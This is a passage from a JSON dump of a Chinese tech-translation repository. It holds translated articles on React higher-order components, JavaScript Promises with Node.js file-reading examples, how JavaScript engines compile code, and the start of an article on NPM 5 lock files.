[Redux](http://redux.js.org) 的 `connect` 函数了，上述的 `buildReduxContainer` 函数就是一个简陋版 `connect` 函数。\n- [React Router](https://github.com/ReactTraining/react-router) 的 `withRouter` 函数，它从上下文中抓取路由并作为 props 传入子组件。\n- `[react-apollo](http://dev.apollodata.com/react/)` 主要的接口就是 `graphql` HOC，给定一个组件和一个 GraphQL 请求，即为子组件提供请求的返回结果。\n- [Recompose](https://github.com/acdlite/recompose) 是一个全是 HOC 的库，它能执行一系列任何你想从组件中抽取出来的不同的子任务。\n\n### 自定义 HOC\n\n应该为你的应用编写新的 HOC 吗？当然了，如果你有组件的模板要生成的话更应该这么做。\n\n> 以上简单分享了有用的库和简单的组成方式，HOC 是 React 组件中共享行为的最佳方式。\n\n编写 HOC 是一个函数返回类的简单方法，像我们在上面看到的 `buildReduxContainer` 方法。如果你想了解通过构建 HOC 你能做些什么，我建议你阅读 Fran Guijarro 关于这一主题的 [极度全面的博客](https://medium.com/@franleplant/react-higher-order-components-in-depth-cf9032ee6c3e#.pvnx42kku)。\n\n### 结论\n\n高阶组件在本质上是一种以 **函数式** 的方式分离组件中的关注点的编码方式。React 早期版本用 class 和 mixin 来重用代码，但所有迹象表明更函数式的方法才是 React 的未来。\n\n如果当你听说函数式编程技术时呆住了，不要紧！React 团队致力于简化这些方法，让我们所有人都能写出模块化，组件化的 UI。\n\n如果你想获取更多关于构建现代、组件化应用的信息，查阅我在 [Chroma](https://www.hichroma.com) 上的 [系列博客](https://blog.hichroma.com/ui-components/home)。如果你喜欢这篇文章，请点赞💚 并分享出去哦~\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/understanding-javascript-promises-pt-i-background-basics.md",
    "content": ">* 原文链接 : [Understanding JavaScript Promises, Pt. I: Background & Basics](https://scotch.io/tutorials/understanding-javascript-promises-pt-i-background-basics)\n* 原文作者 : [Peleke Sengstacke](https://pub.scotch.io/@pelekes)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [huanglizhuo](https://github.com/huanglizhuo)\n* 校对者: [hpoenixf](https://github.com/hpoenixf)，[MAYDAY1993](https://github.com/MAYDAY1993)\n\n# 如何理解 JavaScript 中的 Promise 机制\n\n## Promise 的世界\n\n[原生 Promises](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise) 是在 ES2015 对 JavaScript 做出最大的改变。它的出现消除了采用 callback 机制的很多潜在问题，并允许我们采用近乎同步的逻辑去写异步代码。\n\n可以说 promises 和 [generators](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function*) ，代表了异步编程的新标准。不论你是否用它，你都得 _必须_ 明白它们究竟是什么。\n\nPromise 提供了相当简单的 API ，但也增加了一点学习曲线。如果你以前从没见过它们，你会觉得这个概念很奇特，然而让你的大脑习惯它。你只需要一个平缓的介绍和大量的练习。\n\n读完这篇文章后，你将会得到：\n\nBy the end of this article, you'll be able to:\n\n*   清晰的知道 _为什么_ 要有 promises，以及它解决了什么问题；\n*   通过它们的 _实现_ 和 _使用_ ，解释 _什么是_ promises；\n*   使用 promises 重写常见的 callback 模式。\n\n对了，有一点要注意。示例代码是跑在 Node 上的。你可以手动复制粘贴，或者直接[克隆我的仓库](https://github.com/Peleke/promises/)。\n\n只需要 clone 到本地，然后 checkout `Part_1` 分支：\n\n    git clone https://github.com/Peleke/promises/\n    git checkout Part_1-Basics\n\n. . . 现在可以开始了。下面是我们学习 promises 的大纲路径。\n\n\n*   使用 Callbacks 的问题\n*   Promises: 通过异步来说明定义  \n*   Promises & 不颠倒的管理\n*   使用 Promises 的控制流\n*   运用 `then`， `reject`， 和 `resolve`\n\n\n## 异步机制\n\n如果你用过 JavaScript 的话，你可能知道它的基础是 [ _非阻塞_ ](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop)， or _异步_ 。但这究竟是什么意思？\n\n### 同步 & 异步\n\n**同步代码** 将会在任何跟在它后面的代码 _之前_ 运行。你也可以吧**阻塞**作为同步的同义词，因为它  _阻塞_ 了程序接下来的执行，直到这部分代码结束。\n\n    // readfile_sync.js\n\n    \"use strict\";\n\n    //这个例子用的是 Node ，因此不能运行在浏览器中。\n    const filename = 'text.txt', \n           fs        = require('fs');\n\n    console.log('Reading file . . . ');\n\n    // readFileSync 操作阻塞后面代码的执行，直到它返回才能继续运行。\n    //  程序将会等到这个操作结束后才会执行其它的操作。 \n\n    const file = fs.readFileSync(`${__dirname}/${filename}`); \n    \n    //这段代码只会在readFileSync返回结果后才执行 。。。\n    console.log('Done reading file.');\n\n    //而这段永远打印的是 `file` 的内容。\n    console.log(`Contents: ${file.toString()}`); \n\n![Predictable results from readFileSync.](https://cdn.scotch.io/1/YFAlIhhTpyghE3mzYSXw_6203660244.png)\n\n**异步代码** 则恰恰相反：它允许程序执行剩余的部分的同时处理一些耗时的操作，比如 I/O 或者网络操作。异步又叫**非阻塞代码**。下面是一段用异步实现上面功能的例子：\n\n    // readfile_async.js\n\n    \"use strict\";\n\n    //例子用的是 Node ，因此不能运行在浏览器中。\n    const filename      = 'text.txt', \n            fs            = require('fs'),\n            getContents = function printContent (file) {\n            try {\n              return file.toString();\n            } catch (TypeError) {\n              return file; \n            } \n          }\n\n    console.log('Reading file . . . ');\n    console.log(\"=\".repeat(76));\n\n    // readFile 异步执行。 \n    //   程序会继续执行 LINE A 后面的代码，\n    //   与此同时 readFile 也会做自己该做到事情。接下来将深入讨论 callback (回调)  \n    //   现在把注意力放在日志输出的顺序上。\n    let file;\n    fs.readFile(`${__dirname}/${filename}`, function (err, contents) {\n      file = contents;\n      console.log( `Uh, actually, now I'm done. Contents are: ${ getContents(file) }`);\n    }); // LINE A\n\n    // 下面这些日志总会在文件读取完成之前打印  \n\n    // 好吧，这似乎有点误导和糟糕。\n    console.log(`Done reading file. Contents are: ${getContents(file)}`); \n    console.log(\"=\".repeat(76));\n\n![Async I/O can make for confusing results.](https://cdn.scotch.io/1/eSFXleTTiVtdfMn2RFng_61ff5d552e.png)\n\n同步代码的主要优势在于可读性强，很好理解：同步程序会自顶向下逐行执行。\n\n同步代码的主要劣势在于经常很慢。每次你的用户点击服务时总会让浏览器卡顿两秒是多么糟糕的用户体验啊。\n\n这就是为什么 JavaScript 内核要采用非阻塞的原因\n\n### 异步编程的挑战\n\n采用异步可以加快速度，但也给我们带来麻烦。即使上面这段并没有什么卵用的代码也说明了这个问题，注意：\n\n1. 无法知道什么时候 `file` 是可用的，除非接管 `readFile` 的控制，让 _它_ 在准备好时通知我们；\n2. 而且我们的程序不会像它读起来那样执行，导致我们很难理解它。\n\n\n说明这些问题的篇幅足够占用我们这篇文章的剩余部分了。\n\n\n## 回调(Callback) & 回退(Fallback)\n\n接下来我们梳理一下异步 `readFile` 例子。\n\n\n    \"use strict\";\n\n    const filename = 'throwaway.txt',\n          fs       = require('fs');\n\n    let file, useless;\n\n    useless = fs.readFile(`${__dirname}/${filename}`, function callback (error, contents) {\n      file = contents;\n      console.log( `Got it. Contents are: ${contents}`);\n      console.log( `. . . But useless is still ${useless}.` );\n    });\n\n    console.log(`File is ${undefined}, but that'll change soon.`);\n\n因为 `readFile` 是非阻塞的，它会立即返回让程序继续执行。 而 _立即_这点时间 对 I/O 操作来说远远不够，它会返回 `undefined` ，我们可以在 `readFile` 结束之前尽可能的向后执行。。。当然了，文件还在读。\n\n问题是 _我们怎么知道读操作什么时候完成_ ？\n\n不幸的是，我们无法知道。但 `readFile` 可以。在上面的代码片段中，我们给 `readFile` 传递了两个参数：文件名，以及名为 **callback** 的函数，这个函数会在读操作之后立即执行。\n\n用自然语言描述就是：“ `readFile` 看看 `${__dirname}/${filename}` 里都有些什么，别着急。等你读完了把 `contents` 传给 `callback` 运行，并让我们知道是否有 `error`”\n\n需要解决的最重要的问题是_我们_不能知道什么时候读完文件内容：只有 `readFile` 可以。这就是为什么我们要把它交给回调函数 callback，并相信_它_可以正确处理。\n\n这就是异步函数通常的处理模式：通过多个参数调用，并传递一个回调函数来处理结果。\n\n\n回调函数是 _一个_ 解决方案，但它并不完美。两个很大的问题是：\n\n1.  颠倒的控制；\n2.  糟糕的错误处理。\n\n#### 颠倒的控制\n\n首先这是一个信任问题。\n\n当我们给 `readFile` 传递回调函数时，我们_相信_它会调用这个回调函数的。但并没有绝对的保证这件事。关于是否会调用，是否会传递正确的参数，是否是正确的顺序，执行次数是否正确都没有绝对的保证。\n\n在现实中，这显然不是致命的错误：我们已经写了20多年的回调函数也没有搞坏互联网。当然，在这种情况下，我们基本可以放心的把控制权交给 Node 内核代码了。\n\n但把你应用的关键任务表现交个第三方是很冒险的行为，在过去这是产生大量难以解决的 [heisenbug](https://en.wikipedia.org/wiki/Heisenbug) 。\n\n#### 糟糕的错误处理\n\n在同步代码中我们用 `try`/`catch`/`finally` 处理错误。\n\n    \"use strict\";\n\n    //例子用的是 Node ，因此不能运行在浏览器中。\n    const filename = 'text.txt', \n           fs        = require('fs');\n\n    console.log('Reading file . . . ');\n\n    let file;\n    try {\n      // Wrong filename. D'oh!\n      file = fs.readFileSync(`${__dirname}/${filename + 'a'}`); \n      console.log( `Got it. Contents are: '${file}'` );\n    } catch (err) {\n      console.log( `There was a/n ${err}: file is ${file}` );\n    }\n\n    console.log( 'Catching errors, like a bo$.' );\n\n异步代码会很有爱的把错误仍出窗外。\nAsync code lovingly tosses that out the window.\n\n    \"use strict\";\n\n    //例子用的是 Node ，因此不能运行在浏览器中。\n    const filename = 'throwaway.txt', \n            fs       = require('fs');\n\n    console.log('Reading file . . . ');\n\n    let file;\n    try {\n      // Wrong filename. D'oh!\n      fs.readFile(`${__dirname}/${filename + 'a'}`, function (err, contents) {\n        file = contents;\n      });\n\n      // 如果文件未定义这句不会执行\n      console.log( `Got it. Contents are: '${file}'` );\n    } catch (err) {\n      // 这种情形中 catch 应该运行，但它并不会。\n      //   这是因为 readFile 把错误传给回调函数了，而不是抛出错误。\n      console.log( `There was a/n ${err}: file is ${file}` );\n    }\n\n运行过程并不是我们所预想的。这是因为 `try` 语句块包裹的 `readFile`， _总会成功返回 `undefined`_ 。也就意味着 `try`  _总是_ 捕获不到异常。\n\n让 `readFile` 通知你有错误的唯一方法就是把它传递给你的回调函数，在那里再自行处理。\n\n\n    \"use strict\";\n\n    // This example uses Node, and so won't run in the browser. \n    const filename = 'throwaway.txt',\n            fs       = require('fs');\n\n    console.log('Reading file . . . ');\n\n    fs.readFile(`${__dirname}/${filename + 'a'}`, function (err, contents) {\n      if (err) { // catch\n        console.log( `There was a/n ${err}.` );\n      } else   { // try\n        console.log( `Got it. File contents are: '${file}'`);\n      }\n    });\n\n这个例子还凑合，但在大型程序中会增长出大量的错误信息并且很快会变得笨重不堪。\n\nPromises 着重解决了这两个问题，以及一些其它的问题，通过不那么颠倒的控制，以及“同步化”我们的异步代码以便我们用更加熟悉的方式做错误处理。\n\n\n## Promises\n\n想象一下你刚刚订阅了 O'Reilly [You Don't Know JS](https://github.com/getify/You-Dont-Know-JS/blob/master/README.md#you-dont-know-js-book-series) 的目录。为了换取你\"血汗钱\"，他们会在给你发一个承诺收据，然后你下周一会收到一堆新书。直至这之前你并不会收到这些新书。但你相信它们会发，因为它们承诺(promise)会发的。\n\n这个 promise 已经足够了，你可以计划每天腾出一些时间来读它，答应给你朋友看，告诉你的老板你这周将要忙于读书没时间去他办公室报告工作。你制定计划时并不需要这些书，你只需要知道将你会收到它们。\n\n当然，O'Reilly 可能会在几天后告诉你他们不能履行订单，或者其它什么原因，这时你会取消你每天安排的读书时间，告诉你朋友你无法收到图书了，告诉你的老板你下周可以去给他汇报工作了。\n\n\n**promise** 就像一个收据。它代表着还没有准备好的值，但等它准备好了才可以用，换句话说它是一个 _未来值_ 。你把 promises 当做你等待的值，并在写代码时假设它是可用的。\n\n在这里有个个小问题，Promises 会立即处理打断控制流，并允许你使用 `catch` 关键字处理错误。它和同步版本有些小小的不同，但不管怎么说在处理协调多个错误处理上要比回调机制更方便。\n\n因为 promises 会在值准备好时把它交给你，由你来决定怎么用它。这修复了颠倒控制的问题：你可以直接处理你的应用逻辑，没必要把控制权给第三方。\n\n### Promise 生命周期：关于状态的简单介绍\n\n想象一下你用 Promises 实现 API 调用。\n\n因为服务器不能即刻响应，Promises 不会立即包含最终值，当然也不能立即报告错误。这种状态对 Promises 来说叫做 **pending**。这就相当于你在等你的新书的状态。\n\n一旦服务器响应了，将可能有两种可能的输出。\n\n1.  Promise 获得了它想要的值，这是 **fulfilled** 状态。这就相当于你收到你书的订单。\n2.  在事件中传递路径的某个地方出了错，这是 **rejected** 状态。这相当于你收到你不能得到书的通知。\n\n总之，在 Promise 有三种可能的**状态**。一旦 Promise 处于 fulfilled 或者 rejected 状态， 就再_不能_转换为其它任何状态。\n\n现在术语介绍完了，现在看看我们怎么用它。\n\n\n## Promises 的基本方法\n\n引用自[Promises/A+ spec](https://promisesaplus.com/):\n\n> Promise 代表着异步操作的最终结果。与 promise 交互的最主要方式就是使用 `then` 方法，注册回调函数可以接收 promises 的最终值，或者失败原因。\n\n这节将会详细了解 Promises 的基本用法：\n\n1.  用构造器创建 Promises；\n2.  用 `resolve` 处理成功；\n3.  用 `reject` 处理失败；\n4.  以及用 `then` 和 `catch` 设置控制流。\n\n在这个例子中，我们会用 Promises 优化上面的 `fs.readFile` 代码。\n\n## 创建 Promises\n\n创建 Promise 的最基本方法就是直接使用构造器。\n\n    'use strict';\n\n    const fs = require('fs');\n\n    const text = \n      new Promise(function (resolve, reject) {\n          // Does nothing\n      })\n\n注意我们给 Promise 构造器传递了一个函数作为参数。在这里我们告诉 Promise _怎么_ 执行异步操作，得到我们想要的值之后做什么，以及如果发生错误怎么处理。细节:\n\n1.  `resolve` 参数是一个函数，包括我们收到**期待值**时做什么。当我们得到期待的值 (`val`)时 用 `resolve(val)` 调用 `resolve`。\n2.  `reject` 参数也是一个函数，代表着我们接到错误之后怎么处理。如果接到错误 (`err`)，通过 `reject(err)` 调用 `reject` 。\n3.  最后我们传给 Promise 构造器的函数自己处理异步代码。如果返回值和预期一样，用接收到的值调用 `resolve`；如果抛出异常，用错误调用 `reject`。\n\n我们运行的例子是把 `fs.readFile` 包裹在 Promise 中。那么 `resolve` 和 `reject` 长什么样呢?\n\n1.  事件成功时，我们用 `console.log` 打印内容。\n2.  事件错误时，也用 `console.log` 打印错误。\n\n像下面这样。\n\n    // constructor.js\n\n    const resolve = console.log, \n          reject = console.log;\n\n接下来，我们需要完成给构造器传递的函数。记着，我们的任务是：\n\n1.  读文件\n2.  当成功时 `resolve` 内容；\n3.  否则， `reject` 。\n\nThus:\n\n    // constructor.js\n\n    const text = \n      new Promise(function (resolve, reject) {\n        // 普通的 fs.readFile 调用，但是在 Promise constructor 内部 . . . \n        fs.readFile('text.txt', function (err, text) {\n          // . . . 如果有错误调用 reject . . . \n          if (err) \n            reject(err);\n          // . . . 否则调用 resolve 。\n          else\n        //  fs.readFile 返回的是 buffer ，我们需要 toString() 转为 String。\n            resolve(text.toString());\n        })\n      })\n      \n到这，技术部分结束了：这段代码代码创建了一个 Promises 它会严格按照我们的意愿执行。但如果你执行这段代码，你会发现它既没有打印结果也没有打印错误。\n\n\n## 她做出了承诺(Promise)，然后(then) . . .\n\n问题是我们写了 `resolve` 和 `reject` 方法，但没有传递给 Promise！接下来我们介绍设置 Promise 的流程控制： `then`。\n\n每个 Promise 都有个叫 `then` 的方法，它接受两个函数做参数：`resolve` 和 `reject`， _按照顺序传递_。 调用 Promise 的 `then` 并把这些函数传给构造器，构造器将能够调用这些传入的函数。\n\n    // constructor.js\n\n    const text = \n      new Promise(function (resolve, reject) {\n        fs.readFile('text.txt', function (err, text) {\n          if (err) \n            reject(err);\n          else\n            resolve(text.toString());\n        })\n      })\n      .then(resolve, reject);\n\n这样我们的 Promise 就可以读文件并调用 `resolve` 方法。\n\n一定要记得调用 `then` **返回的一定是一个 Promise 对象**。这意味着你可以链式调用 `then` 方法，从而为异步操作创建复杂，类似同步那样的控制流。再下一篇文章时我们会就这点更深入一些细节，下一个小节我们将会深入讲解 `catch` 的例子。\n\n## 捕获异常的语法糖。\n\n我们需要传递两个函数给 `then`： `resolve`，用于事件成功时调用， `reject`用于错误产生时调用。\n\n\n\nPromises 还提供了类似 `then`的函数， `catch`。它接受一个 reject 作为处理器(handler)。\n\n因为 `then` 总是返回一个 Promise，所以在上面的例子中，我们可以只给 `then` 传递一个 resolve 处理器(handler),然后链式调用 `catch` 并传一个 reject  处理器(handler)。\n\n    const text = \n      new Promise(function (resolve, reject) {\n        fs.readFile('tex.txt', function (err, text) {\n          if (err) \n            reject(err);\n          else\n            resolve(text.toString());\n        })\n      })\n      .then(resolve)\n      .catch(reject);\n\n最后值得一提的是 `catch(reject)`  只是 `then(undefined, reject)` 形式的一个语法糖。因此也可以这样写：\n\n    const text = \n      new Promise(function (resolve, reject) {\n        fs.readFile('tex.txt', function (err, text) {\n          if (err) \n            reject(err);\n          else\n            resolve(text.toString());\n        })\n      })\n      .then(resolve)\n      .then(undefined, reject);\n\n. . . 但这样可读性就下降了好多。\n\n## 结束语\n\n\nPromises 在异步编程中不可缺少的编程工具。起初看起来挺吓人，但这仅仅是因为你不熟悉而已：用过一段时间，你就会觉得它们像 `if`/`else` 一样自然了。\n\n下一次，我们将会把回调模式的代码转换为用 Promises 实现，并学习一下 [Q](https://github.com/kriskowal/q)，一个很流行的 Promises 库。\n\n现在可以读读我们开头订阅的系列书中 Domenic Denicola 的[States and Fates](https://github.com/domenic/promises-unwrapping/blob/master/docs/states-and-fates.md) 来掌握术语，读 Kyle Simpson 关于 [Promises](https://github.com/getify/You-Dont-Know-JS/blob/master/async%20%26%20performance/ch3.md) 章节。\n\n像往常一样，你可以在文章下面评论，或者在 Twitter 上([@PelekeS](http://www.twitter.com/PelekeS))。我一定会回复的！\n\n\n"
  },
  {
    "path": "TODO/understanding-javascripts-engine-with-cartoons.md",
    "content": "> * 原文地址：[Understanding JavaScript’s Engine with Cartoons](https://codeburst.io/understanding-javascripts-engine-with-cartoons-3ef56487a987)\n> * 原文作者：[Codesmith Staffing](https://codeburst.io/@codesmith.staff?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/understanding-javascripts-engine-with-cartoons.md](https://github.com/xitu/gold-miner/blob/master/TODO/understanding-javascripts-engine-with-cartoons.md)\n> * 译者：[MechanicianW](https://github.com/MechanicianW)\n> * 校对者：[FateZeros](https://github.com/FateZeros) [tvChan](https://github.com/tvChan)\n\n# 漫画图解 JavaScript 引擎： let jsCartoons = ‘Awesome’;\n\n![](https://cdn-images-1.medium.com/max/1000/1*NV7LTr8xvs9p5BSzL79qsw.jpeg)\n\n### 概述\n\n[在之前的文章中](https://codeburst.io/javascript-what-are-you-ad28fabebdf1)，我们从事件执行机制详细地讲解了 JavaScript 引擎是如何工作的，同时也简略地提到了编译的知识。是的，你没看错。JavaScript 是编译的，尽管它并不像其它语言编译器有可以进行提前优化的构建阶段，JavaScript 不得不在最后一秒编译代码 —— 从字面上看。用于编译 JavaScript 的技术有一个十分恰当的名字，即时编译器（JIT）。这种 \"即时编译\" 技术已经应用到现代 JavaScript 引擎中，用于实现浏览器的加速。\n\n开发者将 JavaScript 称为解释型语言，这会让人有点困惑。因为直到最近，JavaScript 引擎总是和解释器联系在一起。现在，伴随着像 Google [V8](https://v8project.blogspot.bg/2017/05/launching-ignition-and-turbofan.html) 这样的引擎出现，开发者们实现了鱼与熊掌兼得 —— 既拥有解释器也拥有编译器的引擎。\n\n下面我们将展示这些流行的 JIT 编译器是怎么处理 JavaScript 代码的。引擎优化代码的复杂机制（如内联（去除空格），利用隐藏类以及消除冗余代码等）不在本文的讨论范围内。与之相反，本文着眼于编译原理，让你了解现代的 JavaScript 引擎内部是如何工作的。\n\n**免责声明：** 看完这篇文章你可能会变成代码素食主义者。\n\n### **语言与代码**\n\n![](https://cdn-images-1.medium.com/max/800/0*I6a0MwHn5e7QzGs1.)\n\n为了能够 **心意相通** 地领会编译器是怎么读懂代码的，你可以先想一下你此刻读文章时使用的语言：英语。我们都在开发控制台里看到过鲜红的 `SyntaxError` 报错，当我们抓破脑袋去找是哪里少了一个分号时，也许都想起过 Noam Chomsky。他将语法定义为：\n\n> “研究以特定语言构造句子的原则和过程。”\n\n我们在 Noam Chomsky 的定义的基础上调用 “内置” 的 `simplify()` 函数。\n\n`simplify(quote, \"grossly\")`\n\n`// 结果：语言的顺序并不相同`\n\n当然，Chomsky 的定义是指德语和斯瓦西里等语言，而不是 JavaScript 和 Ruby。尽管如此，高级编程语言脱离了我们所说的语言。实质上，JavaScript 编译器已经被精明的工程师们 “教会” 阅读 JavaScript 代码，像我们的父母老师训练我们读懂句子一样。\n\n我们可以观察出，语言学中的三个方面都与编译器有关：词法单元，语法和语义。换句话说，也就是研究单词的含义及其关系，研究单词的排列以及研究句子的含义（为了适应我们的场景，在此处限制了语义的定义）。\n\n以这个句子为例： _We_ _ate beef._\n\n#### 词法单元\n\n请注意句子里的每个单词是如何被分解成具有词汇含义的单位：We/ate/beef\n\n#### 语法\n\n这个基础的句子在语法上遵循了主语 / 动词 / 宾语的协议。假设这就是每个英文句子必须遵从的构造方式。为什么要做这样的假设？因为编译器必须在严格的规定下工作，这样才能检测到语法错误。因此，_Beef we ate,_ 虽然仍是一个可以理解的句子，但在我们假设出的极简版英文语法规定中会是错误的。\n\n#### 语义\n\n从语义上讲，每个句子都有它的含义。我们知道许许多多的人过去都吃过牛肉。我们就可以通过把句子改写成 _We+ beef ate_ 来剥离出它的语义。\n\n* * *\n\n现在，我们英文中原有的 **句子** 翻译成 JavaScript **表达式**。\n\n`let sentence = “We ate beef”;`\n\n#### 词法单元\n\n表达式可以被分解成词素： let/sentence/=/ “We ate beef”/;\n\n#### 语法\n\n我们的表达式，像句子一样必须是遵从语法构造的。JavaScript 以及大多数其它编程语言都遵从 (类型) / 变量 / 赋值 / 值 的顺序。类型是适应于上下文的。如果你也困扰于宽松的类型声明，可以给程序的全局作用域加上 `“use strict”;`。`“use strict”;` 是一种可以强制执行 JavaScript 语法规则的严格语法。相信我，使用 `“use strict”;` 利远大于弊。\n\n#### 语义\n\n从语义上讲，我们的代码都具有最终能被机器通过编译器来理解的含义。为了取到代码中的语义，编译器必须去读代码。我们在下一节深入研究这一环节。\n\n**提示：** 上下文与作用域是不一样的。做更深层的阐述的话就超出了本文的 “作用域”。\n\n### **LHS/RHS**\n\n我们读英文是按照从左往右的顺序，编译器读代码却是双向的。编译器是怎么做到的？通过 LHS 查询 和 RHS 查询。我们来深入看看它们是怎么一回事。\n\nLHS 查找聚焦于赋值操作的 “左边”。意思就是 LHS 负责查找赋值操作的 **目标**。我们要使用 **目标** 这个概念而不是 **位置**，因为 LHS 查找的目标可能位置不同。并且，**赋值操作** 也并不一定显式地指向 **赋值运算符**。\n\n为了解释地更清楚，我们来看看下面这个例子：\n\n```\nfunction square(a){\n    return a*a;\n\n}\n\nsquare(5);\n```\n\n这个函数会调起一次针对 `a` 的 LHS 查找。为什么？因为我们把 `5` 作为参数传入这个函数，并隐式地将它的值赋给了 a。注意，不可能一眼就看出赋值目标是什么，必须通过推断得出。\n\n相反地，RHS 查找聚焦于值本身。回顾刚才的例子，RHS 查找会在 `a*a;` 表达式里找到 a 的值。\n\n还有很重要的一点，这些查找操作是出现在编译的最后阶段，代码生成阶段。等讲到那一步我们将进一步阐述。现在我们来探索一下编译器。\n\n### 编译器\n\n把编译器想象成一个肉制品加工厂，有几种机制把代码研磨成计算机认为可食用或可执行的包。在这个例子中，我们将处理表达式。\n\n![](https://cdn-images-1.medium.com/max/800/1*3lcS4meTcK8-nGZ6zIxyEQ.jpeg)\n\n#### 标记解析器\n\n首先，标记解析器将代码分解成称为 token 的单元。\n\n![](https://cdn-images-1.medium.com/max/1000/1*aIyeA-blspqI0_EcQ0ZdnQ.jpeg)\n\n这些 token 随后会被标记解析器标记。当标记解析器发现一个不属于该语言的 “字母” 时，会出现词法错误。请记住，这和语法错误不一样。例如，如果我们使用了 @ 符号而不是赋值运算符，那么标记解析器就会看到 @ 符号，并且说：“嗯......这个词法在 JavaScript 的词典里找不到......**红色警戒，关掉所有东西**。\n\n**提示：** 如果这个系统能够在一个标记和另一个标记之间进行关联，然后像解析器一样将它们组合在一起，那么它将被视为一个**词法分析器**。\n\n![](https://cdn-images-1.medium.com/max/1000/1*cpak2aD6ghUw62aqdbTehQ.jpeg)\n\n#### 语法分析器\n\n语法分析器会去查找语法错误。如果没有错误的话，语法分析器会把 token 打包成被一种被称为解析语法树的结构。在编译的这一环节，JavaScript 代码被视为已解析过，将要进行语义分析的。再一次，如果遵循了 JavaScript 规则，则会产生一个被称为抽象语法树 (AST) 的数据结构。\n\n![](https://cdn-images-1.medium.com/max/1000/1*WxknfoF76q_SZkHg382xhA.jpeg)\n\n这就是简化版的 AST\n\n* * *\n\n还有一个 **中间步骤** ，解释器将源码按照声明语句，逐个转换为中间代码（通常为字节码）。字节码随后在虚拟机内执行。\n\n然后，**代码会被优化**，这其中包含了移除空格，不会被执行的死码和冗余代码，以及其它很多优化过程。\n\n* * *\n\n#### **代码生成器**\n\n一旦代码优化完毕，代码生成器的工作是将中间代码转换为机器可以理解的底层汇编语言。此时，生成器负责：\n\n(1) 确保底层代码保留与源代码相同的指令\n\n(2) 将字节码映射到目标机器\n\n(3) 决定值是否应该存储在寄存器或内存中，以及值可以在哪里检索读取\n\n* * *\n\n这是代码生成器执行 LHS 和 RHS 查找的环节。简而言之，LHS 查找会将目标值写入内存，RHS 查找会从内存中读取目标值。\n\n如果值既被存入内存又被存入寄存器，代码生成器就会从寄存器中取值来进行优化。从内存中取值是最次选择。\n\n* * *\n\n到了最后……\n\n(4) 决定了指令的执行顺序。\n\n![](https://cdn-images-1.medium.com/max/800/1*aAzbHCGv1aeWGUUi0Zo7Eg.jpeg)\n\n### **最后的一点思考**\n\n理解 JavaScript 引擎的另一个方法是看看你的 [大脑](https://www.brainson.org/books-how-theyre-made-and-how-your-brain-reads-them/)。当你读到这里，你的大脑正在从视网膜获取数据。通过视神经传递的数据是网页的翻转版本，为了能解释图像，你的大脑会通过反转它来进行编译。\n\n除了翻转图像并着色之外，大脑可以根据识别模式的能力来填充空格，就像编译器从缓存中读取数据一样。\n\n因此如果我们写下 _please give us a round of ______,_ 这句话，你就很容易地执行这段代码。\n\n* * *\n\ncode in peace\n\nRaji Ayinla,\n\n科技内容实习作家 @ [Codesmith Staffing](http://codesmithstaffing.com/)\n\n**参考内容**\n\n* [Anatomy of a Compiler by James Alan Farrel](http://www.cs.man.ac.uk/~pjj/farrell/comp3.html)\n* [You Don’t Know JS Chapter 1](https://github.com/getify/You-Dont-Know-JS/blob/master/scope%20%26%20closures/ch1.md)\n* [How JavaScript Works](https://blog.sessionstack.com/how-javascript-works-inside-the-v8-engine-5-tips-on-how-to-write-optimized-code-ac089e62b12e)\n* [Compiler Design](https://www.tutorialspoint.com/compiler_design/compiler_design_overview.htm)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/understanding-lock-files-in-npm-5.md",
    "content": "> * 原文地址：[Understanding lock files in NPM 5](http://jpospisil.com/2017/06/02/understanding-lock-files-in-npm-5.html)\n> * 原文作者：[Jiří Pospíšil](https://twitter.com/JiriPospisil)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[Changkun Ou](https://github.com/changkun/)\n> * 校对者：[JackGit](https://github.com/JackGit), [Aladdin-ADD](https://github.com/Aladdin-ADD)\n\n# 理解 NPM 5 中的 lock 文件\n\nNPM 的下个主版本（NPM 5）在速度、安全性和一堆其他[时髦的东西](blog.npmjs.org/post/161276872334/npm5-is-now-npmlatest)上，相比较前一个版本带来了一些改进。然而从用户的角度来看，最突出的就是全新的 lock 文件，**不止一个** lock 文件。我们一会儿再谈论这个。对于新手来说，一个 `package.json` 文件使用了[语义化版本规范](https://github.com/xitu/gold-miner/pull/1763/semver.org)，去描述对于其他包的直接依赖，而这些包可能依赖于其他包等等，以此类推。lock 文件则是整个依赖关系树的快照，包含了所有包及其解析的版本。\n\n与之前版本相反，lock 文件现在包含一个 integrity 字段，它使用 [Subresource Integrity](https://w3c.github.io/webappsec-subresource-integrity/) 来验证已安装的软件包是否被改动过，换句话来说，验证包是否已失效。它依旧支持旧版本 